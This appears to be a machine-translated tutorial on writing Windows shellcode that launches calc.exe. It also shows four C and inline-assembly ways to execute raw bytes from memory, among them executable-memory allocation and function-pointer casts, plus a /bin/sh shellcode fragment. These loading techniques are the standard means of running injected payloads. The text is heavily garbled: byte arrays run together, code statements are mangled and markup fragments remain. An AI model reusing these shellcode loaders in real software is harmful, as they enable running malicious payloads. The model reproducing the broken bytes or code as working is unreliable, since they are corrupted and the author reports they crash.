To start the calculator on the computer as an example, writing shellcode is actually two parts, one is to get the shellcode bytecode, and the second is to call it.
The way to get it is generally to observe the combination of code disassembly and memory:
VOID Test () {hmodule V1 = LoadLibraryA ("Kernel32.dll");//0x7778ff70//WinExec ("Calc.exe", sw_show);/*00E31E5E mov esi,esp 00e31e60 push 0e36b30h 00e31e65 call DWORD ptr ds:[0e3a060h] 00e31e6b cmp esi,esp 00e31e6d call __RTC _checkesp (0E3111DH) 00e31e72 mov dword ptr [v1],ea,0x winexec ("Calc.e,0xe", sw_show); 00E31E75 mov esi,esp 00e31e77 push 5 00e31e79 push 0e36b40h 00e31e7e call DWORD ptr ds:[0e3a064h] 00e31e84 cmp esi,esp 00E 31E86 call __rtc_checkesp (0E3111DH) return 0;*/__asm {push ebp; mov ebp, esp; xor eax, eax; push eax; Sub ESP, 08h; movByte ptr[ebp-0ch], 63h;//C movByte PTR[EBP-0BH], 61h;//A MOVByte ptr[ebp-0ah], 6Ch;//L MOVByte ptr[ebp-09h], 63h;//C movByte ptr[ebp-08h], 2Eh;// mov byte ptr[ebp-07h], 65h; //e mov byte ptr[ebp-06h], 78h; //x mov byte ptr[ebp-05h], 65h; //e Lea eax, [EBP- 0ch]; push eax; // press calc.exe into the stack mov eax, Span style= "COLOR: #800080" >0x7778ff70; call eax; // call Winexec mov esp, EBP; Pop ebp; }}
Then is called the labor, will disassemble the bytecode one by one copy out, integrated into a shellcode
CHAR shellcode[] ={0x550X8B,0xEC,0x510x510x830x650xFC,0x000x560x570xC7,0x450xF8,0x630x61,0X6C,0x630x640XA1,0x180x000x000x000x330XC9,0X8B,0x400x300X8B,0x400x0C,0X8B,0x780x1C,0X8B,0x3F,0X8B,0x470x200x660x830x780x100X2E,0x740x060x41,0x830XF9,0x020x7C,0xEE,0X8B,0x4f,0x080xBA,0XB9,0X6B,0xFF,0xCB,0xe8,0x230x00,0x000x000X8B,0x4f,0x080xBA,0x130XB9,0xe6,0x250X8B,0xF0,0xe8,0x140x000x00,0x000x6A,0x010X8D,0X4D,0xF8,0x510xFF,0xD0,0x6A,0x000x6A,0x000xFF,0xd6,0x5f,0x5E,0X8B,0xe5,0X5D,0xC3,0x550X8B,0xEC,0x830xEC,0x100x530x560X8B,0xF1,0x89,0x550xF0,0x330xd2,0x570X8B,0x460x3C,0X8B,0x5C,0x300x780x030xDE,0x890x5d,0xf4,0X8B,0x4B,0x200x030xCE,0x390x530x180x760x390X8B,0x390x330xC0,0x03,0xFE,0x8A,0x1F,0x840xDB,0X8B,0X5D,0xf4,0x740x1C,0X8B,0xd8,0x8A,0x070X6B,0xDB,0x210x0F,0xBE,0xC0,0x030xd8,0x470x8A,0x07,0x84,0xc0,0x75,0xf1,0x89,0x5d,0xf8 0x8b,0x5d,0xf4,0x8b,0x45,0xf8,0x3b,0x45,0xf0, 0x74,0x12,0x83,0xc1,0x04,0x42,0x3b, 0x53,0x18,0x72,0xc7,0x33,0xc0,0x5f,0x5e,0x5b, 0x8b,0xe5,0x5d,0xc3,0x8b,0x43,0x24, 0x8d,0x04,0x50,0x0f,0xb7,0x0c,0x30,0x8b,0x43,0x1c,0x8d,0x04,0x88,0x8b,0x04, 0x30, 0x03,0xc6,0xeb,0xe2};
I can't guarantee that shellcode can be used on every computer, because I tried to get someone else to run it, but the program crashed. So it's best to try to write it yourself.
Shellcode characters can also be written in this form:
Char shellcode[] ="\x55\x8b\xec\x51\x51\x83\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89""\ xf3\x8d\x4e\x08\x31\xd2\xcd\x80\xe8\xe4\xff\xff\xff\x2f\x62\x69\x6e""\x2f\x73\x68\x58 "; //...
It takes advantage of the \x's escape character, which is actually the same.
It should be called after you've written shellcode.
Method 1: Use the dynamic request memory, must be the executable property
void (_stdcall *CODE) (); VOID sub_1 () { PVOID p = NULL; sizeof (ShellCode), Mem_commit | Mem_reserve, page_execute_readwrite); if (p = =returnsizeof(ShellCode)); Code code = (code) p; code ();}
Method 2: Force type conversion to function pointer
void sub_2 () { (void (winapi*) (void)) &ShellCode) ();
Although it seems a bit complicated, but apart from analysis is very simple, first take the address of the shellcode, it is forced to convert the type into a function pointer, the first void is the function return value, the second void can not, it is said that the function has no arguments, and finally, with parentheses, Note that the WINAPI calling convention must not be less, I use the VS2015 compiler, write the default calling convention of the console program is _cdecl.
Method 3: Embedded assembly call Shellcode
#pragma COMMENT (linker, "/SECTION:.DATA,RWE")
VOID Sub_3 () { __asm { mov eax, offset ShellCode jmp eax }}
This method of writing is also more flexible, wherein the first sentence mov eax, offset ShellCode can use the Lea eax, ShellCode instead, because they are equivalent
The second sentence of JMP can also be replaced by call. So there are four kinds of combinations.
The top of the sentence #pragma comment (linker, "/SECTION:.DATA,RWE") is very important, I have not it, and caused many errors, but has been on the shellcode to find the reason.
It is also said to put this code into the executable area.
Method 4: Pseudo-directives
#pragma COMMENT (linker, "/SECTION:.DATA,RWE"
VOID Sub_4 () { __asm { mov eax, offset ShellCode; _emit pseudo-directive defines a byte at the current position of the current text paragraph. The _emit Pseudo-command is similar to the MASM DB directive. 0xFF 0xE0 }}
Shellcode calls in C environment